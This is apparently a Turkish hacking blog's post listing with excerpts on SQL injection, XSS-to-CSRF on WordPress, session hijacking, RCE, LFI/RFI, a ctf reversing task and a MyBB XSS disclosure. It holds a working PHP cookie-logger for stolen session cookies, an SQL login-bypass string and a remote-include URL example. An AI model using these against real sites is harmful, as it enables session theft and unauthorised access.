diaryofinjector

Sef Url - PDO Injection

Fri, 19 Oct 2018 00:00:00 +0000

Merhaba arkadaşlar bu yazımda pdo ve sef url injectionu anlatacağım. Videolarda genelde html injection olarak anlatılıyor aslında yanlış bir tanım olur sef url için. Site içinde seo url ve db bağlantısı olarak pdo kullanılmaktadır.

Şimdi urlnin sonuna bir tırnak atalım ve sorgumuzu inceleyelim.

Sorgumuz aşağıdaki gibidir. Dışardan get olarak gelen “s” htaccess ile seo url ye dönüştürüp ekrana basıyor.

$s=$_GET["s"];
$urn = $db->prepare("SELECT * FROM referanslar where ref_seo='$s'");

Tırnak attık http://localhost/sefurl/ref/a-firmasi'

XSS to CSRF

Fri, 30 Mar 2018 00:00:00 +0000

Merhaba arkadaşlar bu yazımı wordpress üzerinde anlatacağım. Wordpress üzerindeki basit bir xss’i csrf ye dönüştürüp yeni bir yönetici eklemeyi göstereceğim.

CSRF - CROSS SITE REQUEST FORGERY (Kullanıcının isteği dışında ve haberi olmadan dışarıdan müdahale)

Bildiğiniz gibi wordpress’in csrf saldırılarına önlem olarak kullanıcı için oluşturduğu bir token vardır ve bu token’in sayfadaki input id’si _wpnonce‘tur. Gelen isteklerde bu token üretilenle uyuşmazsa işlem gerçekleştirilmez. Biz saldırıda wpnonce token’ını javascript ile alıp kendi post’umuzu yöneticinin haberi olmadan göndereceğiz. Bu istek normal şartlar altında SOP önleminden dolayı yapamayacağımız bir istek ancak burada XSS açığımızdan faydalanacağız. Bu sayede SOP önlemini bypasslamış olacağız.

Mysql Error Based Injection

Thu, 07 Dec 2017 00:00:00 +0000

Bu yazımda extractvalue error based ile login bölümünden sql injection yapacağız.

Yukarıda gördüğünüz gibi normal bir login giriş bölümü şimdi rastgele birşeyler girelim.

Resimde gördüğünüz gibi hata verdi sql sorgumuzu inceleyelim;

select * from uyeler where username='asd' and password='asd'

şimdi bir de kullanıcı adı bölümüne: '=' 'or' ile deniyelim.

select * from uyeler where username=''=' 'or' ' and password=''=' 'or' '

yukarıdaki sorgudan anlaşılacağı gibi username=’’ deki ve password=’’ deki tırnakları aşmış sorguyu değiştirmiş oluyoruz böylece true dönüyor ve login oluyoruz.

Xss Session Hijacking Uygulama Örneği

Tue, 24 Oct 2017 00:00:00 +0000

Bu yazımızda basit bir iletişim forumundan ek bir güvenlik ve kontrol olmadan veri gönderimini kullanarak Xss Session Hijacking saldırısı düzenlemeyi anlatacağım.

Yukarıda bir iletişim formu var şimdi buradaki inputlara ve textarea’ya verileri giriyoruz ve tamperdata,burpsuite gibi araçlarla yakalayıp veriyi değiştireceğiz.

Verilerimiz gördüğünüz gibi şimdi bu verilere cookie loglayacağımız için loggerimizin adresini yazıyoruz.

Php Kodu

<?php
error_reporting(0);
$cookie=$_GET["cookie"];
$date=date("l ds of F Y h:i:s A");
$user_agent=$_SERVER['HTTP_USER_AGENT'];
$file=fopen('lob.txt','a'); // chmod 777 lob.txt
fwrite($file,"TARIH:$date || USER AGENT:$user_agent || COOKIE:$cookie \n");
fclose($file);
?>

Javascript Kodu

Insert Bazlı Query'lerde SQL Injection

Sat, 17 Oct 2015 00:00:00 +0000

Bu yazımızda temelde insert cümlesi kullanan web sayfalarında SQL Injection saldırısı düzenlemeyi anlatacağım.

Insert cümlesi kullanan sayfalara örnek verecek olursak en güzel örnek register formları olacaktır. Bu yazımda kendi kodladığım bir register formunda SQL Injection yapacağım.

Formun PHP kodu aşağıdaki gibidir:

Kodumuz kullanıcıdan kadi, ad, soyad, email alarak register işlemi gerçekleştirmektedir. Bu verileri kullanıcı tablosuna insert etmektedir.

Formun görünümü aşağıdaki gibidir:

Verileri girip kaydol dediğinizde “Kayıt eklendi” demektedir.

Remote Command Execution (RCE)

Tue, 22 Sep 2015 00:00:00 +0000

Bu güvenlik açığı tüm türler arasında en tehlikelisidir ve genelde 10 üzerinden 10 ile derecelendirilir. Bulmak zordur. Komut çalıştırma açığı aranan scriptte, komut çalıştıran bi kod parçası olması gerekir haliyle. Bu yüzden bulmak zordur, çünkü çok gerekmedikçe webmasterlar kolay kolay komut çalıştıran kodlar yazmaz. Ancak her sistemin her katmanında bu tip açıklara rastlanabilir. Biz burada web hacking’deki mevzusundan bahsedeceğiz.

Önce “remote code execution” ve “remote command execution” farklarından bahsedeceğim.

Remote code execution demek, script üzerinden kod çalıştırma açığı demek. Bilirsiniz eval() fonksiyonu ve bu fonksiyonla aynı mantıkla çalışan veya bünyesinde bu fonksiyonu çağıran fonksiyonlar remote code execution‘a sebebiyet vermektedir. Eval desteği olan her web programlama dilinde karşılaşılabilir ve o script dilinde yazacağınız kodları çalıştırabilmenize imkan sağlar. Ama “remote command execution” farklıdır. Bu açık türü ise bu tür script dilleri üzerinden işletim sistemine yapılan çağrıları kullanır. Yani script kodları değil, doğrudan cmd/shell komutları çalıştırırsınız.

Tırnak Işareti Filtreli Scriptlerde SQL Injection, htmlspecialchars Bypass

Sun, 02 Aug 2015 00:00:00 +0000

Bildiğiniz gibi Ahmet Çelik(t4cs1zkr4L) kardeşim Avrasya Üniversitesi Bilişim Topluluğunun başkanlığını yürütmekte. Topluluğun dergi çıkarmasına öncülük eden laz bana da bi makale yazdırdı. Onu sizinle paylaşayım dedim.

Bunlar da dergiden resimler:

Bildiğiniz gibi SQL‘de String tipi veri karşılaştırmalarında, karşılaştırılacak veri tırnak işaretleri arasında yazılır (" , ‘). Aslında bu hemen hemen tüm bilgisayar dillerinde bu şekildedir. String tipi veriler tırnak işaretleri arasında eşitlenir. Ama int tipi veriler için bu kullanım yoktur. Doğrudan sayıyı yazarak eşitlersiniz.

Win x86 Reverse Engineering

Thu, 26 Mar 2015 00:00:00 +0000

Bu yazımızda “ringzer0” ctf‘de “Binaries” kategorisinde sorulmuş “Windows x86 reversing is cool” başlıklı sorunun çözümünü anlatacağız.

Sorudan da anlaşıldığı gibi elimizde bir Winx86 exe var ve bunu reverse ederek flag’i elde etmeye çalışacağız.

Exe’yi ilk çalıştırdığımızda ve Key değerini girdiğimizde ekran görüntüsü şu şekilde olmaktadır:

gördüğünüz gibi keyi yanlış girdiğimiz için “Wrong Key!” demekte.

Önce exe üzerinde string’leri vs. kontrol ettik ancak Flag yoktu. Geriye tek bir çare kaldı, dinamik debug yapmak.

LFI/RFI ve Arbitrary File Read Açıkları

Tue, 18 Nov 2014 00:00:00 +0000

LFI/RFI ve Arbitrary File Read Açıkları

Bu tür açıklar her script dilinde görülebilir fakat en yaygın olarak görülen “php” dir. Biz örneklerimizi “php” dilinde vereceğiz. Zaten kullanım bakımından her dilde aynı yöntemler izlenmektedir. LFI “local file include” yani “yerel dosya çağırma” manasına gelmekte. RFI (remote file include) ise aynı işin yerel dosya değil uzak server’daki bir dosyayı çağırarak yapılanı.

Php “wrapper” özelliği ile örneğin: “http://site.com/index.php?page=http://asd.com/x.txt” şeklinde bir include yapmaya çalıştığınızda, php bu dosyanın bir “url” olduğunu algılar ve url üzerinden dosyayı include eder.

MyBB ChangUonDyu Chatbox XSS

Mon, 10 Nov 2014 00:00:00 +0000

Versions Affected: I.D.K.(never tested but works on the latest one)

Vulnerable file:

“chatbox/message.php”

on lines

54: $shout['color'] = strip_tags($shout['color']);
55: $shout['font'] = strip_tags($shout['font']);

U shall use htmlspecialchars($shout['color'],ENT_QUOTES); or similar instead of strip_tags(). Strip_tags just blocks html tags, doesnt do anything for quotation marks. That is why it was named “strip_tags” ;)

Tested on madleets.com;

Sorry guys dont take it personal ;)

Example attack: Send a message on chatbox with editing selected font value like this(you can use inspect element options on browsers):

XSS Açıkları ve Kullanma Yöntemleri

Wed, 06 Aug 2014 00:00:00 +0000

Bu yazıda XSS (Cross Site Scripting - Çapraz Siteden Betik Çalıştırma) saldırılarının kullanımından bahsedeceğim. Bulma yöntemlerini az çok biliyorsunuzdur zaten.

Bu açık türü de nerdeyse tüm web application açık türleri gibi, Input Validation eksikliğinden kaynaklanır.

Yani dışarıdan kullanıcının girebildiği parametrelerin filtrelenmemesinden kaynaklanır. Bildiğiniz gibi sql injection da bu sebeple ortaya çıkmaktadır. Ama bu saldırı türünde sayfada “html” veya “javascript” kodları çalıştırmak mümkündür.

Açığa sebebiyet verecek karakterler webmasterın sayfayı kodlarken ne şekilde kodladığına göre değişir ancak en yaygınları ( " , ' , < , > ) karakterleridir.